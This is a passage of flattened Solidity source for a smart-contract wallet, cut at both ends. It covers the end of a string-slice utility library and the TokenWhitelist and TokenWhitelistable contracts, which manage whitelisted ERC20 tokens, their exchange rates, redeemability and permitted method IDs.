let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (uint(self) & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (uint(self) & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (uint(self) & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (uint(self) & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (uint(self) & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-terminated utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice memory self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if (b < 0xE0) {
ptr += 2;
} else if (b < 0xF0) {
ptr += 3;
} else if (b < 0xF8) {
ptr += 4;
} else if (b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = uint256(-1); // 0xffff...
if (shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for (uint i = 0; i < parts.length; i++) {
length += parts[i]._len;
}
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for (uint i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
// File: tokenWhitelist.sol
/**
* TokenWhitelist - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title The ITokenWhitelist interface provides access to a whitelist of tokens.
interface ITokenWhitelist {
function getTokenInfo(address) external view returns (string memory, uint256, uint256, bool, bool, bool, uint256);
function getStablecoinInfo() external view returns (string memory, uint256, uint256, bool, bool, bool, uint256);
function tokenAddressArray() external view returns (address[] memory);
function redeemableTokens() external view returns (address[] memory);
function methodIdWhitelist(bytes4) external view returns (bool);
function getERC20RecipientAndAmount(address, bytes calldata) external view returns (address, uint);
function stablecoin() external view returns (address);
function updateTokenRate(address, uint, uint) external;
}
/// @title TokenWhitelist stores a list of tokens used by the Consumer Contract Wallet, the Oracle, the TKN Holder and the TKN Licence Contract
contract TokenWhitelist is ENSResolvable, Controllable, Transferrable {
using strings for *;
using SafeMath for uint256;
using BytesUtils for bytes;
event UpdatedTokenRate(address _sender, address _token, uint _rate);
event UpdatedTokenLoadable(address _sender, address _token, bool _loadable);
event UpdatedTokenRedeemable(address _sender, address _token, bool _redeemable);
event AddedToken(address _sender, address _token, string _symbol, uint _magnitude, bool _loadable, bool _redeemable);
event RemovedToken(address _sender, address _token);
event AddedMethodId(bytes4 _methodId);
event RemovedMethodId(bytes4 _methodId);
event AddedExclusiveMethod(address _token, bytes4 _methodId);
event RemovedExclusiveMethod(address _token, bytes4 _methodId);
event Claimed(address _to, address _asset, uint _amount);
/// @dev these are the methods whitelisted by default in executeTransaction() for protected tokens
bytes4 private constant _APPROVE = 0x095ea7b3; // keccak256(approve(address,uint256)) => 0x095ea7b3
bytes4 private constant _BURN = 0x42966c68; // keccak256(burn(uint256)) => 0x42966c68
bytes4 private constant _TRANSFER= 0xa9059cbb; // keccak256(transfer(address,uint256)) => 0xa9059cbb
bytes4 private constant _TRANSFER_FROM = 0x23b872dd; // keccak256(transferFrom(address,address,uint256)) => 0x23b872dd
struct Token {
string symbol; // Token symbol
uint magnitude; // 10^decimals
uint rate; // Token exchange rate in wei
bool available; // Flags if the token is available or not
bool loadable; // Flags if token is loadable to the TokenCard
bool redeemable; // Flags if token is redeemable in the TKN Holder contract
uint lastUpdate; // Time of the last rate update
}
mapping(address => Token) private _tokenInfoMap;
// @notice specifies whitelisted methodIds for protected tokens in wallet's excuteTranaction() e.g. keccak256(transfer(address,uint256)) => 0xa9059cbb
mapping(bytes4 => bool) private _methodIdWhitelist;
address[] private _tokenAddressArray;
/// @notice keeping track of how many redeemable tokens are in the tokenWhitelist
uint private _redeemableCounter;
/// @notice Address of the stablecoin.
address private _stablecoin;
/// @notice is registered ENS node identifying the oracle contract.
bytes32 private _oracleNode;
/// @notice Constructor initializes ENSResolvable, and Controllable.
/// @param _ens_ is the ENS registry address.
/// @param _oracleNode_ is the ENS node of the Oracle.
/// @param _controllerNode_ is our Controllers node.
/// @param _stablecoinAddress_ is the address of the stablecoint used by the wallet for the card load limit.
constructor(address _ens_, bytes32 _oracleNode_, bytes32 _controllerNode_, address _stablecoinAddress_) ENSResolvable(_ens_) Controllable(_controllerNode_) public {
_oracleNode = _oracleNode_;
_stablecoin = _stablecoinAddress_;
//a priori ERC20 whitelisted methods
_methodIdWhitelist[_APPROVE] = true;
_methodIdWhitelist[_BURN] = true;
_methodIdWhitelist[_TRANSFER] = true;
_methodIdWhitelist[_TRANSFER_FROM] = true;
}
modifier onlyAdminOrOracle() {
address oracleAddress = _ensResolve(_oracleNode);
require (_isAdmin(msg.sender) || msg.sender == oracleAddress, "either oracle or admin");
_;
}
/// @notice Add ERC20 tokens to the list of whitelisted tokens.
/// @param _tokens ERC20 token contract addresses.
/// @param _symbols ERC20 token names.
/// @param _magnitude 10 to the power of number of decimal places used by each ERC20 token.
/// @param _loadable is a bool that states whether or not a token is loadable to the TokenCard.
/// @param _redeemable is a bool that states whether or not a token is redeemable in the TKN Holder Contract.
/// @param _lastUpdate is a unit representing an ISO datetime e.g. 20180913153211.
function addTokens(address[] calldata _tokens, bytes32[] calldata _symbols, uint[] calldata _magnitude, bool[] calldata _loadable, bool[] calldata _redeemable, uint _lastUpdate) external onlyAdmin {
// Require that all parameters have the same length.
require(_tokens.length == _symbols.length && _tokens.length == _magnitude.length && _tokens.length == _loadable.length && _tokens.length == _loadable.length, "parameter lengths do not match");
// Add each token to the list of supported tokens.
for (uint i = 0; i < _tokens.length; i++) {
// Require that the token isn't already available.
require(!_tokenInfoMap[_tokens[i]].available, "token already available");
// Store the intermediate values.
string memory symbol = _symbols[i].toSliceB32().toString();
// Add the token to the token list.
_tokenInfoMap[_tokens[i]] = Token({
symbol : symbol,
magnitude : _magnitude[i],
rate : 0,
available : true,
loadable : _loadable[i],
redeemable: _redeemable[i],
lastUpdate : _lastUpdate
});
// Add the token address to the address list.
_tokenAddressArray.push(_tokens[i]);
//if the token is redeemable increase the redeemableCounter
if (_redeemable[i]){
_redeemableCounter = _redeemableCounter.add(1);
}
// Emit token addition event.
emit AddedToken(msg.sender, _tokens[i], symbol, _magnitude[i], _loadable[i], _redeemable[i]);
}
}
/// @notice Remove ERC20 tokens from the whitelist of tokens.
/// @param _tokens ERC20 token contract addresses.
function removeTokens(address[] calldata _tokens) external onlyAdmin {
// Delete each token object from the list of supported tokens based on the addresses provided.
for (uint i = 0; i < _tokens.length; i++) {
// Store the token address.
address token = _tokens[i];
//token must be available, reverts on duplicates as well
require(_tokenInfoMap[token].available, "token is not available");
//if the token is redeemable decrease the redeemableCounter
if (_tokenInfoMap[token].redeemable){
_redeemableCounter = _redeemableCounter.sub(1);
}
// Delete the token object.
delete _tokenInfoMap[token];
// Remove the token address from the address list.
for (uint j = 0; j < _tokenAddressArray.length.sub(1); j++) {
if (_tokenAddressArray[j] == token) {
_tokenAddressArray[j] = _tokenAddressArray[_tokenAddressArray.length.sub(1)];
break;
}
}
_tokenAddressArray.length--;
// Emit token removal event.
emit RemovedToken(msg.sender, token);
}
}
/// @notice based on the method it returns the recipient address and amount/value, ERC20 specific.
/// @param _data is the transaction payload.
function getERC20RecipientAndAmount(address _token, bytes calldata _data) external view returns (address, uint) {
// Require that there exist enough bytes for encoding at least a method signature + data in the transaction payload:
// 4 (signature) + 32(address or uint256)
require(_data.length >= 4 + 32, "not enough method-encoding bytes");
// Get the method signature
bytes4 signature = _data._bytesToBytes4(0);
// Check if method Id is supported
require(isERC20MethodSupported(_token, signature), "unsupported method");
// returns the recipient's address and amount is the value to be transferred
if (signature == _BURN) {
// 4 (signature) + 32(uint256)
return (_token, _data._bytesToUint256(4));
} else if (signature == _TRANSFER_FROM) {
// 4 (signature) + 32(address) + 32(address) + 32(uint256)
require(_data.length >= 4 + 32 + 32 + 32, "not enough data for transferFrom");
return ( _data._bytesToAddress(4 + 32 + 12), _data._bytesToUint256(4 + 32 + 32));
} else { //transfer or approve
// 4 (signature) + 32(address) + 32(uint)
require(_data.length >= 4 + 32 + 32, "not enough data for transfer/appprove");
return (_data._bytesToAddress(4 + 12), _data._bytesToUint256(4 + 32));
}
}
/// @notice Toggles whether or not a token is loadable or not.
function setTokenLoadable(address _token, bool _loadable) external onlyAdmin {
// Require that the token exists.
require(_tokenInfoMap[_token].available, "token is not available");
// this sets the loadable flag to the value passed in
_tokenInfoMap[_token].loadable = _loadable;
emit UpdatedTokenLoadable(msg.sender, _token, _loadable);
}
/// @notice Toggles whether or not a token is redeemable or not.
function setTokenRedeemable(address _token, bool _redeemable) external onlyAdmin {
// Require that the token exists.
require(_tokenInfoMap[_token].available, "token is not available");
// this sets the redeemable flag to the value passed in
_tokenInfoMap[_token].redeemable = _redeemable;
emit UpdatedTokenRedeemable(msg.sender, _token, _redeemable);
}
/// @notice Update ERC20 token exchange rate.
/// @param _token ERC20 token contract address.
/// @param _rate ERC20 token exchange rate in wei.
/// @param _updateDate date for the token updates. This will be compared to when oracle updates are received.
function updateTokenRate(address _token, uint _rate, uint _updateDate) external onlyAdminOrOracle {
// Require that the token exists.
require(_tokenInfoMap[_token].available, "token is not available");
// Update the token's rate.
_tokenInfoMap[_token].rate = _rate;
// Update the token's last update timestamp.
_tokenInfoMap[_token].lastUpdate = _updateDate;
// Emit the rate update event.
emit UpdatedTokenRate(msg.sender, _token, _rate);
}
//// @notice Withdraw tokens from the smart contract to the specified account.
function claim(address payable _to, address _asset, uint _amount) external onlyAdmin {
_safeTransfer(_to, _asset, _amount);
emit Claimed(_to, _asset, _amount);
}
/// @notice This returns all of the fields for a given token.
/// @param _a is the address of a given token.
/// @return string of the token's symbol.
/// @return uint of the token's magnitude.
/// @return uint of the token's exchange rate to ETH.
/// @return bool whether the token is available.
/// @return bool whether the token is loadable to the TokenCard.
/// @return bool whether the token is redeemable to the TKN Holder Contract.
/// @return uint of the lastUpdated time of the token's exchange rate.
function getTokenInfo(address _a) external view returns (string memory, uint256, uint256, bool, bool, bool, uint256) {
Token storage tokenInfo = _tokenInfoMap[_a];
return (tokenInfo.symbol, tokenInfo.magnitude, tokenInfo.rate, tokenInfo.available, tokenInfo.loadable, tokenInfo.redeemable, tokenInfo.lastUpdate);
}
/// @notice This returns all of the fields for our StableCoin.
/// @return string of the token's symbol.
/// @return uint of the token's magnitude.
/// @return uint of the token's exchange rate to ETH.
/// @return bool whether the token is available.
/// @return bool whether the token is loadable to the TokenCard.
/// @return bool whether the token is redeemable to the TKN Holder Contract.
/// @return uint of the lastUpdated time of the token's exchange rate.
function getStablecoinInfo() external view returns (string memory, uint256, uint256, bool, bool, bool, uint256) {
Token storage stablecoinInfo = _tokenInfoMap[_stablecoin];
return (stablecoinInfo.symbol, stablecoinInfo.magnitude, stablecoinInfo.rate, stablecoinInfo.available, stablecoinInfo.loadable, stablecoinInfo.redeemable, stablecoinInfo.lastUpdate);
}
/// @notice This returns an array of all whitelisted token addresses.
/// @return address[] of whitelisted tokens.
function tokenAddressArray() external view returns (address[] memory) {
return _tokenAddressArray;
}
/// @notice This returns an array of all redeemable token addresses.
/// @return address[] of redeemable tokens.
function redeemableTokens() external view returns (address[] memory) {
address[] memory redeemableAddresses = new address[](_redeemableCounter);
uint redeemableIndex = 0;
for (uint i = 0; i < _tokenAddressArray.length; i++) {
address token = _tokenAddressArray[i];
if (_tokenInfoMap[token].redeemable){
redeemableAddresses[redeemableIndex] = token;
redeemableIndex += 1;
}
}
return redeemableAddresses;
}
/// @notice This returns true if a method Id is supported for the specific token.
/// @return true if _methodId is supported in general or just for the specific token.
function isERC20MethodSupported(address _token, bytes4 _methodId) public view returns (bool) {
require(_tokenInfoMap[_token].available, "non-existing token");
return (_methodIdWhitelist[_methodId]);
}
/// @notice This returns true if the method is supported for all protected tokens.
/// @return true if _methodId is in the method whitelist.
function isERC20MethodWhitelisted(bytes4 _methodId) external view returns (bool) {
return (_methodIdWhitelist[_methodId]);
}
/// @notice This returns the number of redeemable tokens.
/// @return current # of redeemables.
function redeemableCounter() external view returns (uint) {
return _redeemableCounter;
}
/// @notice This returns the address of our stablecoin of choice.
/// @return the address of the stablecoin contract.
function stablecoin() external view returns (address) {
return _stablecoin;
}
/// @notice this returns the node hash of our Oracle.
/// @return the oracle node registered in ENS.
function oracleNode() external view returns (bytes32) {
return _oracleNode;
}
}
// File: tokenWhitelistable.sol
/**
* TokenWhitelistable - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title TokenWhitelistable implements access to the TokenWhitelist located behind ENS.
contract TokenWhitelistable is ENSResolvable {
/// @notice Is the registered ENS node identifying the tokenWhitelist contract
bytes32 private _tokenWhitelistNode;
/// @notice Constructor initializes the TokenWhitelistable object.
/// @param _tokenWhitelistNode_ is the ENS node of the TokenWhitelist.
constructor(bytes32 _tokenWhitelistNode_) internal {
_tokenWhitelistNode = _tokenWhitelistNode_;
}
/// @notice This shows what TokenWhitelist is being used
/// @return TokenWhitelist's node registered in ENS.
function tokenWhitelistNode() external view returns (bytes32) {
return _tokenWhitelistNode;
}
/// @notice This returns all of the fields for a given token.
/// @param _a is the address of a given token.
/// @return string of the token's symbol.
/// @return uint of the token's magnitude.
/// @return uint of the token's exchange rate to ETH.
/// @return bool whether the token is available.
/// @return bool whether the token is loadable to the TokenCard.
/// @return bool whether the token is redeemable to the TKN Holder Contract.
/// @return uint of the lastUpdated time of the token's exchange rate.
function _getTokenInfo(address _a) internal view returns (string memory, uint256, uint256, bool, bool, bool, uint256) {
return ITokenWhitelist(_ensResolve(_tokenWhitelistNode)).getTokenInfo(_a);
}
/// @notice This returns all of the fields for our stablecoin token.
/// @return string of the token's symbol.
/// @return uint of the token's magnitude.
/// @return uint of the token's exchange rate to ETH.
/// @return bool whether the token is available.
/// @return bool whether the token is loadable to the TokenCard.
/// @return bool whether the token is redeemable to the TKN Holder Contract.
/// @return uint of the lastUpdated time of the token's exchange rate.
function _getStablecoinInfo() internal view returns (string memory, uint256, uint256, bool, bool, bool, uint256) {
return ITokenWhitelist(_ensResolve(_tokenWhitelistNode)).getStablecoinInfo();
}
/// @notice This returns an array of our whitelisted addresses.
/// @return address[] of our whitelisted tokens.
function _tokenAddressArray() internal view returns (address[] memory) {
return ITokenWhitelist(_ensResolve(_tokenWhitelistNode)).tokenAddressArray();
}
/// @notice This returns an array of all redeemable token addresses.
/// @return address[] of redeemable tokens.
function _redeemableTokens() internal view returns (address[] memory) {
return ITokenWhitelist(_ensResolve(_tokenWhitelistNode)).redeemableTokens();
}
/// @notice Update ERC20 token exchange rate.
/// @param _token ERC20 token contract address.
/// @param _rate ERC20 token exchange rate in wei.
/// @param _updateDate date for the token updates. This will be compared to when oracle updates are received.
function _updateTokenRate(address _token, uint _rate, uint _updateDate) internal {
ITokenWhitelist(_ensResolve(_tokenWhitelistNode)).updateTokenRate(_token, _rate, _updateDate);
}
/// @notice based on the method it returns the recipient address and amount/value, ERC20 specific.
/// @param _data is the transaction payload.
function _getERC20RecipientAndAmount(address _destination, bytes memory _data) internal view returns (address, uint) {
